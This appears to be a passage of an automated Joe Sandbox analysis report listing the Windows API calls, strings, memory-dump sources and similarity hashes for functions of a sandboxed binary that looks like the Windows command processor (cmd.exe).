GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000001), ref: 00195A53
CreateDirectoryW.KERNELBASE(?,00000000), ref: 00195A70
??_V@YAXPAX@Z.MSVCRT(?), ref: 00195A87

Part of subcall function 001A0B12: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 001A0B40

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00195AA1
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 00195B09
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00195B13
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 00195B70
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001A9B7C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CreateDirectoryErrorLast$DriveFullNamePathTypememset
String ID:
API String ID: 402963468-0
Opcode ID: 247cefdb9619c4dbb3340c4296f9a072f5a1405b1ff2714d3113528ba2a39097
Instruction ID: b0d5137b88a7188f6bbed34b039b5d39165f13d147d5b32c6a5f1435a01a8668
Opcode Fuzzy Hash: 247cefdb9619c4dbb3340c4296f9a072f5a1405b1ff2714d3113528ba2a39097
Instruction Fuzzy Hash: 5691F535A016169BEF29DB65DC85BBBB7B6FF89310F5440AAE50AE7180E7708DC0C760

Function 001A6903 Relevance: 10.6, APIs: 7, Instructions: 105
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0(000003E8,001BCA98,0000000C), ref: 001A6940
_amsg_exit.MSVCRT ref: 001A6955
_initterm.MSVCRT ref: 001A69A9
__IsNonwritableInCurrentImage.LIBCMT ref: 001A69D5
exit.MSVCRT ref: 001A6A1C
_XcptFilter.MSVCRT ref: 001A6A2E

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CurrentFilterImageNonwritableSleepXcpt_amsg_exit_inittermexit
String ID:
API String ID: 796493780-0
Opcode ID: b2bae9717c556ff03662cd6feed94a04ff33fb77cab668435ab505f11a6c92e8
Instruction ID: 1dc495a63f97f4fb484fd45601f9f54845d5cd14d1b8eb734e70530db1ca06cc
Opcode Fuzzy Hash: b2bae9717c556ff03662cd6feed94a04ff33fb77cab668435ab505f11a6c92e8
Instruction Fuzzy Hash: AD31D67E645311DFEB269F68ED456AA37E0FB46738F240229F50697AE0DB7098C0CB41

Function 0019E2AF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34
threadlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadUILanguage.KERNELBASE ref: 0019E2C6
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL,00000000,0019B952), ref: 0019E2D9
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(76F70000,SetThreadUILanguage,00000000,0019B952), ref: 0019E2F9
SetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000409,00000000,0019B952), ref: 001ADC08

Strings

SetThreadUILanguage, xrefs: 0019E2F3
KERNEL32.DLL, xrefs: 0019E2D4

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Thread$AddressHandleLanguageLocaleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1264603166-2530943252
Opcode ID: 7b7a956f3cfa34f6c781071c06de6c7da2f18d5e2a119f24450481730f6285a1
Instruction ID: 046c2bd6bcb6016019343e37a1c46bb23c83a1c0ef8006a4e4cce95fdd4fe7a8
Opcode Fuzzy Hash: 7b7a956f3cfa34f6c781071c06de6c7da2f18d5e2a119f24450481730f6285a1
Instruction Fuzzy Hash: E9F05E31A02720ABCE10EB74FD0DA993B94FB15B31B590756F815E3AE0C7749C818AA1

Function 0019AD60 Relevance: 9.3, APIs: 6, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE(?,00000104,91B40133,00000001,?), ref: 0019ADB6

Part of subcall function 001A5A2E: memset.MSVCRT ref: 001A5A5A

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

towupper.MSVCRT ref: 0019B0E3

Part of subcall function 0019E950: memset.MSVCRT ref: 0019E9A0
Part of subcall function 0019E950: wcschr.MSVCRT ref: 0019E9FC
Part of subcall function 0019E950: wcschr.MSVCRT ref: 0019EA14
Part of subcall function 0019E950: _wcsicmp.MSVCRT ref: 0019EA80

wcschr.MSVCRT ref: 0019AED2
wcsncmp.MSVCRT ref: 0019B016

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00007FE7), ref: 001ACC6C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001ACCCB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$memset$ErrorLast$ConsoleTitle_wcsicmpiswspacetowupperwcsncmp
String ID:
API String ID: 4198873954-0
Opcode ID: 497a7c315daf09ccc951c6097160109167f328f22bf097ddd374952f78312e94
Instruction ID: 31af84877a138813a551ad1bb472e597bbf721a9a0e3423d00341734fcc1bada
Opcode Fuzzy Hash: 497a7c315daf09ccc951c6097160109167f328f22bf097ddd374952f78312e94
Instruction Fuzzy Hash: 10B18875A042118BCF28AF28DD957BE73B0EF51700F550169E90B976D1EB309D89C7D2

Function 001A1F1A Relevance: 7.6, APIs: 5, Instructions: 52
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNELBASE(001A0A41), ref: 001A1F1A
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 001A1F2B
memset.MSVCRT ref: 001A1F45
GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 001AF185
memset.MSVCRT ref: 001AF1FB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$ConsoleInfoLocaleOutputThread
String ID:
API String ID: 1263632223-0
Opcode ID: d477916382639a5416bef4dfbc5e619b4f42100b2099827703cf7c0e4581666b
Instruction ID: 4e63d5b374e820056d71233fc28c3a42763676fdaebd3f112820bef08816ebf3
Opcode Fuzzy Hash: d477916382639a5416bef4dfbc5e619b4f42100b2099827703cf7c0e4581666b
Instruction Fuzzy Hash: 351148B9809353ADDB345B54DC0AF793B94AB12304F44013FE4AA665D4D7B4CDC78299

Function 0019A9D4 Relevance: 7.5, APIs: 5, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,0019A9C5), ref: 0019A9D8
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 0019A9F3
RtlAllocateHeap.NTDLL(00000000), ref: 0019A9FA
memcpy.MSVCRT(00000000,00000000,00000000), ref: 0019AA09
FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 0019AA12

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: EnvironmentHeapStrings$AllocateFreeProcessmemcpy
String ID:
API String ID: 429350006-0
Opcode ID: 2faf65c55c9b4f8ac02107ccd48ebfa9da031b898c98590148e1eb0a1dd4c765
Instruction ID: 9d5e1a3b2c205bfe490934f6e921535dbbe0dfad5b38227b6c44ce4ccbdf8c76
Opcode Fuzzy Hash: 2faf65c55c9b4f8ac02107ccd48ebfa9da031b898c98590148e1eb0a1dd4c765
Instruction Fuzzy Hash: 4EE0927760312027C611772A2C88C6F6B5DEFC56A1B850011F809D3201DF248C4686F3

Function 0019E3F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0019E455
??_V@YAXPAX@Z.MSVCRT(?,00195F21,-00000001), ref: 001ADC6C

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 001ADC57

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: 7bfe36efaeccf7a2ba0280ab28be626f05e2a0ea0308dd66326b11f03785dd6c
Instruction ID: 630cd7c3a11c0bc09451b0b19fbf918f8fc588e65bc24f0b4980d441bd356428
Opcode Fuzzy Hash: 7bfe36efaeccf7a2ba0280ab28be626f05e2a0ea0308dd66326b11f03785dd6c
Instruction Fuzzy Hash: 950124B1700304ABDB28C624EC0AB67B2C9DBD1710F14452EF92AD7281EFB2FD4082A1

Function 001A742D Relevance: 4.5, APIs: 3, Instructions: 28COMMON

Download Yara Rule

APIs

_callnewh.MSVCRT ref: 001A7437

Part of subcall function 001A74D1: ??0exception@@QAE@ABQBDH@Z.MSVCRT(001A77EC,00000001), ref: 001A74E7

malloc.MSVCRT ref: 001A7444
_CxxThrowException.MSVCRT(?,001BCBF8), ref: 001A77F5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ??0exception@@ExceptionThrow_callnewhmalloc
String ID:
API String ID: 813871643-0
Opcode ID: 06b53c4dddc01ae71c4dff5008d5d753812dea5606e941cb7f0c9cea190684e5
Instruction ID: 3bc7a04cc7c1e365db6969204e5025ffa7a1af1ff6ceba85e576d7c1d54a2462
Opcode Fuzzy Hash: 06b53c4dddc01ae71c4dff5008d5d753812dea5606e941cb7f0c9cea190684e5
Instruction Fuzzy Hash: 37E0DF3E40820EBBCF1476A5EC0A8AE3F2C8B47330B648060B819968D2EF71DB46C5D1

Function 00195EA3 Relevance: 3.3, APIs: 2, Instructions: 292COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00195EFB

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

Part of subcall function 00198E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001D8BF0,00000000,?), ref: 00198EC3

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

Part of subcall function 001A0060: wcschr.MSVCRT ref: 001A006C

??_V@YAXPAX@Z.MSVCRT(?), ref: 00195FF7

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$memset$CurrentDirectoryiswspace
String ID:
API String ID: 4234405029-0
Opcode ID: d912f4c437d4b8046a1cacf8dacdabc1af9790c489d72d73a11dd6570949719a
Instruction ID: 5b62672d7526b8a453519e13579a668c60241f3b2026f59ecc6ef4fccb6e5017
Opcode Fuzzy Hash: d912f4c437d4b8046a1cacf8dacdabc1af9790c489d72d73a11dd6570949719a
Instruction Fuzzy Hash: 7EA1BE756083419BDB18DB24C849A7FBBE5EFC5314F14882EF88AC7291EB74C985CB52

Function 0019E470 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0019E4B7

Strings

COMSPEC, xrefs: 0019E64B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset
String ID: COMSPEC
API String ID: 2221118986-1631433037
Opcode ID: e75f7415c0613ccfe85c25045d00ba38541598421f215a00359dcdc79abc7366
Instruction ID: 8ac80a6a7da569dd238aa6116b8d2dab0e2aea7175b8b0591d09854617ef0183
Opcode Fuzzy Hash: e75f7415c0613ccfe85c25045d00ba38541598421f215a00359dcdc79abc7366
Instruction Fuzzy Hash: 5541E5747042008BEF39EB28D55973E76D5AFA5708F16092AE845C7291FB71EC8486D3

Function 001A6E30 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001A6E37

Part of subcall function 001A742D: malloc.MSVCRT ref: 001A7444

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: H_prolog3_catchmalloc
String ID:
API String ID: 125873668-0
Opcode ID: 2ed3fd6bc75b48eae2c8fa3f76f7c31aae2a6118de017ecb80981c3937d4522c
Instruction ID: 47dee44adcd0e22a33933bce60e9faa3e1f2242d01b1bf7c0aea6fb1d4aa4c3d
Opcode Fuzzy Hash: 2ed3fd6bc75b48eae2c8fa3f76f7c31aae2a6118de017ecb80981c3937d4522c
Instruction Fuzzy Hash: 26C04C2D529644D6DB4577A4E90275C2A10AB63B52F908045B144290C5EF7547546A91

Function 001A1A05 Relevance: 1.3, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A1A33

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1b50dbbf4eee2f93aa091ce79aa077404ae0a82599011c4079c7ca7b6e794edb
Instruction ID: 1165cb8460be5610eee4c740fe072f213e04565bdbdfd92a35b250e5adbc872d
Opcode Fuzzy Hash: 1b50dbbf4eee2f93aa091ce79aa077404ae0a82599011c4079c7ca7b6e794edb
Instruction Fuzzy Hash: E1E0DF7B74A2613FE22C14A86C87A278A99CBD2B60F290036F6049B180EBA04D0402A4

Non-executed Functions

Function 001B4191 Relevance: 65.1, APIs: 30, Strings: 7, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,00000000,00000001), ref: 001B41B9
_get_osfhandle.MSVCRT ref: 001B41CA
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 001B4205
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B426C
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,001B9E02,?,00000010), ref: 001B4283
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B4292
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B42B1
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B42C4
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 001B42D2
RtlFreeHeap.NTDLL(00000000), ref: 001B42D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 001B432F
RtlFreeHeap.NTDLL(00000000), ref: 001B4336
_wcsnicmp.MSVCRT ref: 001B43DB
_wcsnicmp.MSVCRT ref: 001B43F0
_wcsnicmp.MSVCRT ref: 001B4405
_wcsnicmp.MSVCRT ref: 001B441A
_wcsnicmp.MSVCRT ref: 001B442F
_wcsnicmp.MSVCRT ref: 001B4444
_wcsnicmp.MSVCRT ref: 001B4459
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,00000001,?), ref: 001B44A5
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?), ref: 001B44F0
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,00000020,?,?,?), ref: 001B4506
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000), ref: 001B451D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 001B4565
RtlFreeHeap.NTDLL(00000000), ref: 001B456C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00000001), ref: 001B4595
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 001B459C
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B45C3
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,001B9E02,?,00000000), ref: 001B45D4
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B45DD

Strings

cd , xrefs: 001B43D5
rmdir , xrefs: 001B4429
chdir , xrefs: 001B4414
pushd , xrefs: 001B4453
mkdir , xrefs: 001B443E
md , xrefs: 001B43FF
rd , xrefs: 001B43EA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferCriticalInfoReadReleaseScreenSection$AllocCharacterCursorEnterFillHandleLeaveOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 2991647268-3100821235
Opcode ID: cfd653acaa0a6e0d3e9d5de95b9a899053755761d33e54b39505a8b3edb376de
Instruction ID: 94225f4870eb5d866f6abd45826ced86b768ec8a339970caff8e9d0f612f3c84
Opcode Fuzzy Hash: cfd653acaa0a6e0d3e9d5de95b9a899053755761d33e54b39505a8b3edb376de
Instruction Fuzzy Hash: 19C1CF706053019FCB20DF64DC88AABBBE5FF88714F48892DF956C26A1D771C985CB52

Function 00194C10 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 552COMMON

Download Yara Rule

Strings

[.], xrefs: 001A8DB6
[...], xrefs: 001A8CAB
[..], xrefs: 001A8C6F
..., xrefs: 001A8995, 001A8A09, 001A8A2B, 001A8B1F, 001A8B38
:, xrefs: 001A8EEE

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
Opcode ID: 403c823eb71b7c7d7527e96d2959d4ac694612b9826430a15e8eb1c9ea1beb86
Instruction ID: 4a8e4874a42823093b7ae99fce74c54128138d371ab17a101bfd6675dca3a7ec
Opcode Fuzzy Hash: 403c823eb71b7c7d7527e96d2959d4ac694612b9826430a15e8eb1c9ea1beb86
Instruction Fuzzy Hash: 1E12D1B42083429FDB24DF24C885AAFB7E9EF99344F04492DF589C7291EB34D945CB62

Function 00196854 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 366timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,001BE590,?,00002000), ref: 00196896
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 001968AA
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 001968BE
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 001968D2
realloc.MSVCRT ref: 001AA5E7

Part of subcall function 00198791: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00196906,0000001F,?,00000080), ref: 00198791

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001F,?,00000080), ref: 00196907
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?), ref: 0019698F
memmove.MSVCRT(?,?,?), ref: 00196A86
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000000), ref: 00196AAF
realloc.MSVCRT ref: 00196ACA
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000001), ref: 00196AFE

Strings

%s , xrefs: 001AA63F
%02d%s%02d%s%02d, xrefs: 001AA61E
%s %s , xrefs: 001AA65F

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Time$File$DateFormatSystem$realloc$DefaultInfoLocalLocaleUsermemmove
String ID: %02d%s%02d%s%02d$%s $%s %s
API String ID: 2927284792-4023967598
Opcode ID: 23e1f85b6f6e988b9742ff7b19227337c5c32f94b4d7996e6d17271891f8ec8a
Instruction ID: e43d253a498b39f13b029ff69db460b9b01097db9628d4cd80dc3bac18263085
Opcode Fuzzy Hash: 23e1f85b6f6e988b9742ff7b19227337c5c32f94b4d7996e6d17271891f8ec8a
Instruction Fuzzy Hash: 1EC1F476A002259FCF24DF64DC49AFA77B8EF49300F5440AAE90AE7150EB319E85CF61

Function 001A4EC1 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 395fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A4F03

